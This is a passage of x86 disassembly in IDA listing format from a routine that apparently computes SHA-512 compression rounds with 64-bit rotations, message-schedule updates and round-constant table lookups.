		mov	ecx, [esp+170h+var_114]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_108]
		adc	edx, [esp+170h+var_104]
		add	ecx, [esp+170h+var_F0]
		adc	edx, [esp+170h+var_EC]
		mov	[eax+98h], ecx
		mov	[eax+9Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_F0], ecx
		mov	[esp+170h+var_EC], eax
		mov	[esp+170h+var_78], ecx
		jmp	short loc_406A76
; ---------------------------------------------------------------------------

loc_406A61:				; CODE XREF: sub_405350+1626j
		mov	edx, [esp+170h+var_F0]
		mov	eax, [esp+170h+var_EC]
		mov	[esp+170h+var_78], edx

loc_406A76:				; CODE XREF: sub_405350+170Fj
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	[esp+170h+var_74], eax
		mov	eax, [esp+170h+var_140]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_134]
		mov	edi, eax
		and	eax, [esp+170h+var_138]
		not	ebx
		and	ebx, [esp+170h+var_12C]
		not	edi
		and	edi, [esp+170h+var_130]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420668[eax*8]
		adc	esi, ds:dword_42066C[eax*8]
		add	edx, [esp+170h+var_78]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_74]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_148], eax
		mov	[esp+170h+var_124], ecx
		mov	[esp+170h+var_128], eax
		adc	[esp+170h+var_144], ecx
		mov	eax, [esp+170h+var_11C]
		mov	ecx, [esp+170h+var_120]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_120]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_154]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_120]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_150]
		and	edx, ecx
		mov	ecx, [esp+170h+var_154]
		xor	ebp, eax
		and	ebp, [esp+170h+var_14C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_128], edi
		adc	[esp+170h+var_124], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_406CA9
		mov	eax, [esp+170h+var_C8]
		mov	ecx, [esp+170h+var_C4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_C4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_F8]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_F4]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_F8]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_F4]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_B8]
		adc	edx, [esp+170h+var_B4]
		add	ecx, [esp+170h+var_E8]
		adc	edx, [esp+170h+var_E4]
		mov	[eax+0A0h], ecx
		mov	[eax+0A4h], edx
		mov	eax, edx
		mov	[esp+170h+var_E8], ecx
		mov	[esp+170h+var_E4], eax
		mov	[esp+170h+var_68], ecx
		jmp	short loc_406CBE
; ---------------------------------------------------------------------------

loc_406CA9:				; CODE XREF: sub_405350+1868j
		mov	edx, [esp+170h+var_E8]
		mov	eax, [esp+170h+var_E4]
		mov	[esp+170h+var_68], edx

loc_406CBE:				; CODE XREF: sub_405350+1957j
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		mov	[esp+170h+var_64], eax
		mov	eax, [esp+170h+var_148]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_144]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_13C]
		mov	edi, eax
		and	eax, [esp+170h+var_140]
		not	ebx
		and	ebx, [esp+170h+var_134]
		not	edi
		and	edi, [esp+170h+var_138]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_12C]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420670[eax*8]
		adc	esi, ds:dword_420674[eax*8]
		add	edx, [esp+170h+var_68]
		mov	eax, [esp+170h+var_130]
		adc	esi, [esp+170h+var_64]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_150], eax
		mov	[esp+170h+var_12C], ecx
		mov	[esp+170h+var_130], eax
		adc	[esp+170h+var_14C], ecx
		mov	eax, [esp+170h+var_124]
		mov	ecx, [esp+170h+var_128]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_128]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_11C]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_120]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_128]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_158]
		and	edx, ecx
		mov	ecx, [esp+170h+var_11C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_154]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_130], edi
		adc	[esp+170h+var_12C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_406EF1
		mov	eax, [esp+170h+var_B0]
		mov	ecx, [esp+170h+var_AC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_AC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_F0]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_EC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_F0]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_EC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_A8]
		adc	edx, [esp+170h+var_A4]
		add	ecx, [esp+170h+var_F8]
		adc	edx, [esp+170h+var_F4]
		mov	[eax+0A8h], ecx
		mov	[eax+0ACh], edx
		mov	eax, edx
		mov	[esp+170h+var_F8], ecx
		mov	[esp+170h+var_F4], eax
		mov	[esp+170h+var_50], ecx
		jmp	short loc_406F00
; ---------------------------------------------------------------------------

loc_406EF1:				; CODE XREF: sub_405350+1AB0j
		mov	edx, [esp+170h+var_F8]
		mov	eax, [esp+170h+var_F4]
		mov	[esp+170h+var_50], edx

loc_406F00:				; CODE XREF: sub_405350+1B9Fj
		mov	ecx, [esp+170h+var_14C]
		mov	ebx, ecx
		mov	[esp+170h+var_4C], eax
		mov	eax, [esp+170h+var_150]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_148]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_14C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_144]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_134]
		not	ebx
		and	ebx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_140]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420678[eax*8]
		adc	esi, ds:dword_42067C[eax*8]
		add	edx, [esp+170h+var_50]
		mov	eax, [esp+170h+var_138]
		adc	esi, [esp+170h+var_4C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_158], eax
		mov	[esp+170h+var_134], ecx
		mov	[esp+170h+var_138], eax
		adc	[esp+170h+var_154], ecx
		mov	ecx, [esp+170h+var_130]
		mov	eax, [esp+170h+var_12C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_130]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_124]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_128]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_130]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_120]
		and	edx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	ebp, eax
		and	ebp, [esp+170h+var_11C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_138], edi
		adc	[esp+170h+var_134], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_407143
		mov	eax, [esp+170h+var_C0]
		mov	ecx, [esp+170h+var_BC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_BC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_E8]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_E4]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_E8]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_E4]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D0]
		adc	edx, [esp+170h+var_CC]
		add	ecx, [esp+170h+var_B0]
		adc	edx, [esp+170h+var_AC]
		mov	[eax+0B0h], ecx
		mov	[eax+0B4h], edx
		mov	eax, edx
		mov	[esp+170h+var_B0], ecx
		mov	[esp+170h+var_AC], eax
		mov	[esp+170h+var_40], ecx
		jmp	short loc_407158
; ---------------------------------------------------------------------------

loc_407143:				; CODE XREF: sub_405350+1CF6j
		mov	edx, [esp+170h+var_B0]
		mov	eax, [esp+170h+var_AC]
		mov	[esp+170h+var_40], edx

loc_407158:				; CODE XREF: sub_405350+1DF1j
		mov	ecx, [esp+170h+var_154]
		mov	[esp+170h+var_3C], eax
		mov	eax, [esp+170h+var_158]
		mov	ebx, ecx
		xor	esi, esi
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		mov	edx, ecx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		xor	ebx, ebx
		or	ebx, ebp
		mov	ebp, [esp+170h+var_154]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		shr	ebp, 0Eh
		or	ecx, ebp
		mov	ebp, [esp+170h+var_150]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_154]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_14C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_144]
		xor	edi, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420680[eax*8]
		mov	edi, [esp+170h+var_12C]
		adc	esi, ds:dword_420684[eax*8]
		add	edx, [esp+170h+var_40]
		mov	eax, [esp+170h+var_140]
		adc	esi, [esp+170h+var_3C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_120], eax
		mov	esi, [esp+170h+var_130]
		mov	[esp+170h+var_140], eax
		adc	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_138]
		mov	eax, esi
		xor	eax, ecx
		mov	[esp+170h+var_98], eax
		mov	eax, [esp+170h+var_134]
		mov	edx, edi
		xor	edx, eax
		mov	[esp+170h+var_94], edx
		mov	edx, esi
		and	edx, ecx
		mov	[esp+170h+var_90], edx
		mov	edx, edi
		and	edx, eax
		mov	[esp+170h+var_8C], edx
		mov	edx, ecx
		xor	esi, esi
		shl	edx, 4
		mov	edi, ecx
		mov	ebx, eax
		shrd	edi, ebx, 1Ch
		shr	ebx, 1Ch
		or	edx, ebx
		or	esi, edi
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	ebx, ebx
		shl	ecx, 1Eh
		or	ebx, ebp
		mov	edi, eax
		xor	edx, ebx
		mov	ebx, [esp+170h+var_138]
		shr	edi, 2
		or	edi, ecx
		mov	ecx, eax
		shld	eax, ebx, 19h
		xor	esi, edi
		shr	ecx, 7
		xor	edi, edi
		or	edi, eax
		mov	eax, [esp+170h+var_98]
		and	eax, [esp+170h+var_128]
		shl	ebx, 19h
		xor	eax, [esp+170h+var_90]
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_94]
		and	ecx, [esp+170h+var_124]
		xor	edx, edi
		xor	ecx, [esp+170h+var_8C]
		add	esi, eax
		adc	edx, ecx
		add	[esp+170h+var_140], esi
		adc	[esp+170h+var_13C], edx
		cmp	[esp+170h+var_15C], 0
		jz	loc_4073BF
		mov	eax, [esp+170h+var_A0]
		mov	ecx, [esp+170h+var_9C]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_9C]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_F8]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_F4]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_F8]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_F4]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D8]
		adc	edx, [esp+170h+var_D4]
		add	ecx, [esp+170h+var_C0]
		adc	edx, [esp+170h+var_BC]
		mov	[eax+0B8h], ecx
		mov	[eax+0BCh], edx
		mov	eax, edx
		mov	[esp+170h+var_C0], ecx
		mov	[esp+170h+var_BC], eax
		mov	[esp+170h+var_30], ecx
		jmp	short loc_4073D4
; ---------------------------------------------------------------------------

loc_4073BF:				; CODE XREF: sub_405350+1F7Ej
		mov	edx, [esp+170h+var_C0]
		mov	eax, [esp+170h+var_BC]
		mov	[esp+170h+var_30], edx

loc_4073D4:				; CODE XREF: sub_405350+206Dj
		mov	ecx, [esp+170h+var_11C]
		mov	ebx, ecx
		mov	[esp+170h+var_2C], eax
		mov	eax, [esp+170h+var_120]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_11C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		shr	ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_158]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_11C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_154]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_14C]
		not	edi
		and	edi, [esp+170h+var_150]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420688[eax*8]
		adc	esi, ds:dword_42068C[eax*8]
		add	edx, [esp+170h+var_30]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_2C]
		add	ecx, edx
		mov	edx, [esp+170h+var_144]
		adc	edx, esi
		add	eax, ecx
		adc	[esp+170h+var_124], edx
		mov	[esp+170h+var_148], ecx
		mov	ecx, [esp+170h+var_140]
		mov	[esp+170h+var_144], edx
		mov	edx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	ebp, edx
		shrd	ebx, ebp, 1Ch
		xor	edi, edi
		or	edi, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	edx, ecx, 1Eh
		shr	ebp, 1Ch
		shl	esi, 4
		or	esi, ebp
		shr	ebx, 2
		shl	ecx, 1Eh
		xor	ebp, ebp
		or	ebx, ecx
		mov	[esp+170h+var_128], eax
		or	ebp, edx
		mov	ecx, [esp+170h+var_13C]
		xor	esi, ebp
		mov	ebp, [esp+170h+var_140]
		mov	edx, ecx
		shld	ecx, ebp, 19h
		xor	edi, ebx
		shr	edx, 7
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_98]
		and	ecx, [esp+170h+var_140]
		shl	ebp, 19h
		xor	ecx, [esp+170h+var_90]
		or	edx, ebp
		xor	edi, edx
		mov	edx, [esp+170h+var_94]
		and	edx, [esp+170h+var_13C]
		xor	esi, ebx
		xor	edx, [esp+170h+var_8C]
		add	edi, ecx
		adc	esi, edx
		add	[esp+170h+var_148], edi
		adc	[esp+170h+var_144], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_407620
		mov	eax, [esp+170h+var_B0]
		mov	ecx, [esp+170h+var_AC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_AC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_E0]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_DC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_E0]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_DC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_118]
		adc	edx, [esp+170h+var_114]
		add	ecx, [esp+170h+var_A0]
		adc	edx, [esp+170h+var_9C]
		mov	[eax+0C0h], ecx
		mov	[eax+0C4h], edx
		mov	eax, edx
		mov	[esp+170h+var_9C], eax
		mov	[esp+170h+var_1C], eax
		mov	eax, [esp+170h+var_128]
		mov	[esp+170h+var_A0], ecx
		mov	[esp+170h+var_20], ecx
		jmp	short loc_40763C
; ---------------------------------------------------------------------------

loc_407620:				; CODE XREF: sub_405350+21CEj
		mov	edx, [esp+170h+var_A0]
		mov	ecx, [esp+170h+var_9C]
		mov	[esp+170h+var_20], edx
		mov	[esp+170h+var_1C], ecx

loc_40763C:				; CODE XREF: sub_405350+22CEj
		mov	ecx, [esp+170h+var_124]
		mov	ebx, ecx
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_124]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_120]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_124]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_11C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_14C]
		not	ebx
		and	ebx, [esp+170h+var_154]
		not	edi
		and	edi, [esp+170h+var_158]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420690[eax*8]
		adc	esi, ds:dword_420694[eax*8]
		add	edx, [esp+170h+var_20]
		mov	eax, [esp+170h+var_150]
		adc	esi, [esp+170h+var_1C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_130], eax
		mov	[esp+170h+var_14C], ecx
		mov	[esp+170h+var_150], eax
		adc	[esp+170h+var_12C], ecx
		mov	eax, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_148]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_148]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	ebp, [esp+170h+var_134]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_138]
		and	ebp, eax
		mov	eax, [esp+170h+var_13C]
		and	eax, [esp+170h+var_134]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_150], edi
		adc	[esp+170h+var_14C], esi
